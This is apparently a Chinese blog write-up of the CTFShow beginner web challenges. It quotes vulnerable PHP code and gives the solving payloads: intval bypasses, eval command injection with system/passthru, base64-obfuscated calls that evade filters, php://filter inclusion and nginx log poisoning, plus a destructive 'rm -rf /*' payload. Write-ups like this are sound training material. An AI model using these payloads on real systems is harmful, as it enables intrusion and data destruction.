CTFShow“萌心区”WP(下)

news/2024/5/19 22:16:00 标签: CTF, 刷题记录, CTFShow, 萌新, Web

CTFShow “萌心区”WP详解(下)

    • 前言
        • web1
        • web2
        • web3
        • web4
        • web5
        • web6
        • web7
        • web8
        • web9
        • web10
        • web11
        • web12
        • web13
        • web14
        • web15
        • web16
        • web17
        • web18-24

CTFShow 平台:https://ctf.show/

前言

刷题记录这是“萌心区(下)篇”

web1

在这里插入图片描述
简单分析一下 需要要用get方式上传id ,id大于999的时候会报错,有注意到下面的:flag in id = 1000,传入id = 1000 才能获得flag

看到函数intval 所以我们需要进行绕过 ?id=2 or id=1000

intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0; 如果字符串其中有数字,则返回数字; 如果开头无法被转换,则返回0

在这里插入图片描述
在这里插入图片描述

web2

在这里插入图片描述
发现和web1 一样???? 使用一样的方法 /?id=100*10 可能是加了一些过滤规则吧。
在这里插入图片描述

web3

在这里插入图片描述
这回过滤了16进制 还是使用之前的方法发现还是可以执行。
在这里插入图片描述

web4

在这里插入图片描述
这次又增多了过滤 可以尝试 二次取反绕过 ?id=~~1000
在这里插入图片描述

web5

在这里插入图片描述
这回有增加了 新的过滤规则 增加了单双引号过滤 继续使用 二次取反绕过 ?id=~~1000**
在这里插入图片描述

web6

在这里插入图片描述
继续使用老方法 ?id=~~1000在这里插入图片描述

web7

在这里插入图片描述
这里新增了一个过滤 仔细看这里~也不行了 尝试一下二进制 ?id=0b1111101000
在这里插入图片描述

web8

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html>

根据提示 阿呆区了埃塞尔比亚(这么哪里???) 感觉是要删库跑路了; 所以payload 为:?flag=rm -rf /*
在这里插入图片描述

web9

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

FLAGconfig.php中 如果执行了if 里面得参数 就会显示FLAG 直接构造Payload:?c=system('cat config.php'); 然后F12 查看
在这里插入图片描述
在这里插入图片描述

web10

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里做了过滤前面有个感叹号所以用上面得方法访问得话就 没有FLAG 需要从新构造Payload :?c=passthru('cat config.php'); F12查看
在这里插入图片描述

常见的命令执行函数:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

在这里插入图片描述
在这里插入图片描述

web11

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

注意这里 对cat 命令进行了过滤 所以刚刚那两种方法都不行了,但是linux当中还有很多显示文本的命令。

这里可以参考:https://blog.csdn.net/qq_41274349/article/details/123707765
在这里插入图片描述

web12

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里新增得过滤规则是 phpconfig 可以base64编码绕过
构造payload:?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);,得到flag 然后F12 查看。
在这里插入图片描述
在这里插入图片描述

web13

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这次又新增了过滤规则 分号;就尝试了一下passthru("ca''t")?>,发现没有出错,然后这样子只需要想办法把config.php文件给包含进去就好了。然后就百度了一下,了解到了在Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句。

passthru("ca''t ls")?>

在这里插入图片描述
在这里插入图片描述

web14

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里又新增了 又对括号进行了过滤 直接构造payload为:
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php得到一串base64编码的字符串,解码得到flag。

在这里插入图片描述
在这里插入图片描述

web15

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里又新增了>和= 又对括号进行了过滤 直接构造payload为:
include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php得到一串base64编码的字符串,解码得到flag。

在这里插入图片描述
在这里插入图片描述

web16

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

在这里插入图片描述
突然恍然大悟!! c的传参和ctfshow 一起的值是md5 所以c的参数为: 36d 构造Payload :?c=36d
MD5解密网站:https://www.somd5.com/
在这里插入图片描述
在这里插入图片描述

web17

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);

       }
}else{
        highlight_file(__FILE__);
}
?>

过滤了php 这里是一个日志注入漏洞 nginx日志包含 默认路径:/var/log/nginx/access.log

User-Agent当中包含命令,查看当前路径下的文件,发现有36d.php

具体可以参考这篇:https://blog.csdn.net/zoixsoadji/article/details/123438557?ops_request_misc=&request_id=&biz_id=102&utm_term=ctfshow%20%E8%90%8C%E6%96%B0%20web17&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-123438557.142v10control,157v8control&spm=1018.2226.3001.4187

自己菜刀连不上 这里出了点问题 直接呜呜呜 还是自己太菜了

web18-24

我只是个刚入门的萌心罢了 后面的题做不出来了 尽力了 呜呜呜呜 再接再励吧
在这里插入图片描述
最后总结一下:本人真是萌xin 很多题都没怎么接触过 所以 只能跟新到这里了自此萌xin篇完结 感谢大家的支持吧!


http://www.niftyadmin.cn/n/1643280.html

相关文章

Dest0g3 520迎新赛部分WP

Dest0g3 520迎新赛部分WP前言&#xff1a;MISC&#xff1a;Welcome to fxxking DestCTF&#xff1a;Pngenius&#xff1a;EasyEncode&#xff1a;你知道js嘛&#xff1a;StrangeTraffic&#xff1a;4096&#xff1a;Python_jail&#xff1a;CRYPTO&#xff1a;babyRSA&#xff…

面试系列 01

面试经验谈图片发自简书App

测试工程师,避免试用期,被辞退,指南 02

还记得上一篇&#xff0c;针对高级岗位的01 么 &#xff1f; 避免试用期&#xff0c;被辞退&#xff0c;指南 01 时间很快&#xff0c;一晃又浪费一个月大好时光了。这是第二篇&#xff0c;针对「中级岗位」 。看此文之前&#xff0c;建议先看看01 /** 版权申明&#xff1a; 此…

测试报告模板(测试报告核心要素)

这是一篇IDO老徐2017年初写的文章。看到很多同学&#xff0c;还是对报告不太清晰&#xff0c;网上模板那么多&#xff0c;到底用哪个 &#xff1f; 特意整理到此&#xff0c;希望对大家有点用 。 / 正文 就在今天&#xff0c;老徐简单回顾了一下16年的文章。 老徐一直都没有写关…

户外lisp导向牌如何安装_标示牌和户外导视牌的区分

在这个年代户外导视牌的运用可谓是非常广泛&#xff0c;例如城市交通线路比较复杂&#xff0c;为了能更好的给予正确的线路提示都会在道路旁安装户外导视牌。还有有些小区比较大路线也比较多&#xff0c;那么物管通常会在路口处设立户外导视牌给予租户与来客指明方向。我相信大…

轻量级性能测试工具ab / wrk / locust 分析 对比

很早前&#xff0c;介绍过4款压力测试工具 推荐&#xff1a;轻量级web压力测试工具&#xff0c;两分钟上手&#xff0c;轻松压测 今天再推荐下两款更强大的。 1. ab 是目前最常见的压力测试工具。其典型用法如下&#xff1a; shell> ab -k -n 1000 -c 10 -t 100 h…

Centos 下 nginx 安装过程

非常简单&#xff0c;就如下这些命令 。 ############################### #Create Scipt file # #vim nginstallShell.sh #chmod x nginstallShell.sh #./nginstallShell.sh # ################################echo "nginx setup start!"yum -y install gcc gcc-c …